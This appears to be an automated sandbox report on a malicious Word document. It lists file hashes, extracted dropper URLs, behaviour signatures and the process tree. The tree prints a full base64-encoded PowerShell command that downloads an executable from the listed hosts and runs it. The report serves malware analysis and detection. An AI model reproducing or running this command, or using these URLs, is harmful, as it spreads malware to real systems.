Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    09-09-2024 09:53

General

  • Target

    d61469ebe99cbb39b90088f854119971_JaffaCakes118.doc

  • Size

    261KB

  • MD5

    d61469ebe99cbb39b90088f854119971

  • SHA1

    34b41c33c1a8517d926d33db8f919bc93c7bb16f

  • SHA256

    ae9a7b94c9c8ace70360f1bce28f468b7ce09ac955332425db6cb560ff65f94f

  • SHA512

    c46168bb4e8a1a28bb7820fec300ac69d88aee279e2644dbba8beaf5793d99b7c22ceacaa6692c3f5ce290389205622e1ced4f77b57b83489bb7a2eb47a2b81f

  • SSDEEP

    3072:5OzPM83524CCyCyMmq5YZF8yDtAKPzjL/xSu90OoiLuDKZXfwKeljR1k:sb25CFk8stRbxUOmD+XfwLg

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://localfreelancersng.com/JJ5na9IyL

exe.dropper

http://pobedastaff.ru/6iYWKl5I_MG

exe.dropper

http://wellbeinghomecareservices.co.uk/A9Y90usX88aRT

exe.dropper

http://vkckd.kultkam.ru/QUxQZUG_9i

exe.dropper

http://beautyandbrainsmagazine.site/cfmGNuDVbnc50bks

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d61469ebe99cbb39b90088f854119971_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PoWersheLL.exe
      PoWersheLL -e JABrAGkAbQA0AHEAegBpAHcAPQAoACcAUwB3AFQARQA2AEUAJwArACcAbAAnACkAOwAkAHoAawBtAEsAaQBXAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAOQBCADIAUwB0AD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAbABvACcAKwAnAGMAYQBsAGYAJwArACcAcgBlAGUAJwArACcAbABhAG4AYwAnACsAJwBlAHIAJwArACcAcwBuAGcALgBjACcAKwAnAG8AbQAvAEoASgA1AG4AYQA5ACcAKwAnAEkAeQBMAEAAJwArACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwBwAG8AYgAnACsAJwBlACcAKwAnAGQAJwArACcAYQBzAHQAYQAnACsAJwBmACcAKwAnAGYALgByAHUALwA2AGkAWQAnACsAJwBXAEsAJwArACcAbAA1AEkAXwBNACcAKwAnAEcAQAAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAnACsAJwAvAHcAZQAnACsAJwBsAGwAYgBlAGkAJwArACcAbgAnACsAJwBnAGgAJwArACcAbwAnACsAJwBtAGUAYwBhAHIAZQBzAGUAcgB2AGkAYwBlAHMAJwArACcALgBjAG8ALgAnACsAJwB1ACcAKwAnAGsALwBBACcAKwAnADkAJwArACcAWQA5ADAAJwArACcAdQBzACcAKwAnAFgAOAAnACsAJwA4AGEAJwArACcAUgBUACcAKwAnAEAAaAB0AHQAcAA6AC8ALwB2AGsAJwArACcAYwBrAGQAJwArACcALgBrAHUAJwArACcAbAB0AGsAYQBtAC4AcgB1ACcAKwAnAC8AUQBVACcAKwAnAHgAUQBaAFUARwBfADkAaQBAACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AYgBlAGEAJwArACcAdQB0AHkAYQAnACsAJwBuAGQAJwArACcAYgAnACsAJwByAGEAaQBuAHMAJwArACcAbQAnACsAJwBhAGcAJwArACcAYQB6AGkAbgBlAC4AcwBpAHQAJwArACcAZQAnACsAJwAvAGMAZgBtAEcATgAnACsAJwB1ACcAKwAnAEQAVgBiAG4AYwAnACsAJwA1ADAAYgBrAHMAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAbwBUAGoAdwA1AG8APQAoACcAVABIACcAKwAnADkAegBVAEoAWAAnACkAOwAkAHcAOABYAFEASwBKADkAIAA9ACAAKAAnADMAJwArACcANgAwACcAKQA7ACQARwBhAGMARgBDAG0ASwByAD0AKAAnAHQAYwBMACcAKwAnAGoARwBzACcAKwAnAE0AJwApADsAJABHAFMAawB6AGkAdAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAHcAOABYAFEASwBKADkAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJAB6AFQASQBFAEMARQAgAGkAbgAgACQAYQA5AEIAMgBTAHQAKQB7AHQAcgB5AHsAJAB6AGsAbQBLAGkAVwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB6AFQASQBFAEMARQAsACAAJABHAFMAawB6AGkAdAApADsAJABuAHIAUAB6AGkASAA9ACgAJwBvAEIAJwArACcAcAA3ACcAKwAnAHMAWQBMAGQAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQARwBTAGsAegBpAHQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABHAFMAawB6AGkAdAA7ACQAagBRADcAbQBNAEcAUABjAD0AKAAnAFYAcQBsADcAQQAnACsAJwBPAHUAJwArACcATAAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAegA4AFgAcwBYAHEAMwA9ACgAJwBDADAAJwArACcARgAnACsAJwBpADYAagAnACkAOwA=
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1528
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1596

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      d4a12eaa5b52504f9586576e406c8400

      SHA1

      4f5af2fa6c1b17b05ad1805c4136ad75595d8893

      SHA256

      403665e88547db8f8e5114a9a682d11358d18271438ffe8080a5e735a95f2b52

      SHA512

      613992a63e0ceb2be14801773108e6bdfbf4a8cd9caa00e55564efcfa8189aebad20c80f459e8136e718505651eb5be208797ef1a1db3859f24fadb3e8494ff5

    • memory/1952-21-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-158-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-12-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-8-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-9-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-18-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-32-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-19-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-17-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-16-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-15-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-14-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-13-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-11-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-181-0x0000000070EFD000-0x0000000070F08000-memory.dmp

      Filesize

      44KB

    • memory/1952-2-0x0000000070EFD000-0x0000000070F08000-memory.dmp

      Filesize

      44KB

    • memory/1952-20-0x0000000006AB0000-0x0000000006BB0000-memory.dmp

      Filesize

      1024KB

    • memory/1952-51-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-67-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-77-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-68-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-103-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-89-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-44-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-37-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-151-0x0000000070EFD000-0x0000000070F08000-memory.dmp

      Filesize

      44KB

    • memory/1952-152-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-156-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-157-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB

    • memory/1952-0-0x000000002F8A1000-0x000000002F8A2000-memory.dmp

      Filesize

      4KB

    • memory/1952-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1952-10-0x0000000000850000-0x0000000000950000-memory.dmp

      Filesize

      1024KB